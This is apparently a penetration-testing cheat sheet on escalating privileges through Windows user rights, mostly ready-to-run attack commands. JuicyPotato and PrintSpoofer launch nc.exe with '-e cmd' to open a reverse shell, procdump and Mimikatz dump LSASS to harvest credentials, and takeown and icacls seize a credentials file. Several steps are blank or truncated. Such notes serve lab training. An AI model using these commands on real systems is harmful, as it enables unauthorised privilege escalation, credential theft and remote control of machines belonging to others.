Windows User Privileges

SeImpersonate Privilege

Attackers often abuse this privilege in the "Potato style" privescs - where a service account can SeImpersonate, but not obtain full SYSTEM level privileges.

JuicyPatato Method

c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 8443 -e cmd.exe" -t *

PrintSpoofer Method

JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards. However, PrintSpoofer and RoguePotato can be used to leverage the same privileges and gain NT AUTHORITY\SYSTEM level access.

c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 8443 -e cmd"


To run a particular application or service or assist with troubleshooting, a user might be assigned the SeDebugPrivilege instead of adding the account into the administrators group.

We can use ProcDump from the SysInternals suite to leverage this privilege and dump process memory.

Dump Lsass

1 Dump lsass Process

procdump.exe -accepteula -ma lsass.exe lsass.dmp

2 Mimikatz Dump lsass Dump

# Specify Dump File
sekurlsa::minidump lsass.dmp

# Dump Creds


1 List Processes

tasklist /svc

2 Use PoC Script



SeTakeOwnershipPrivilege grants a user the ability to take ownership of any "securable object," meaning Active Directory objects, NTFS files/folders, printers, registry keys, services, and processes.

1 Enable Privilege

# Import Module
Import-Module .\Enable-Privilege.ps1

# Run Script

# Verify 
whoami /priv

2 Check OwnerShip File

cmd /c dir /q 'C:\Department Shares\Private\IT'

3 Taking Ownership File

takeown /f 'C:\Department Shares\Private\IT\cred.txt'

4 Confirming Ownership

 Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}

5 Modify ACL on File

icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F

Interesting Files to Read

%WINDIR%\repair\software, %WINDIR%\repair\security

Last updated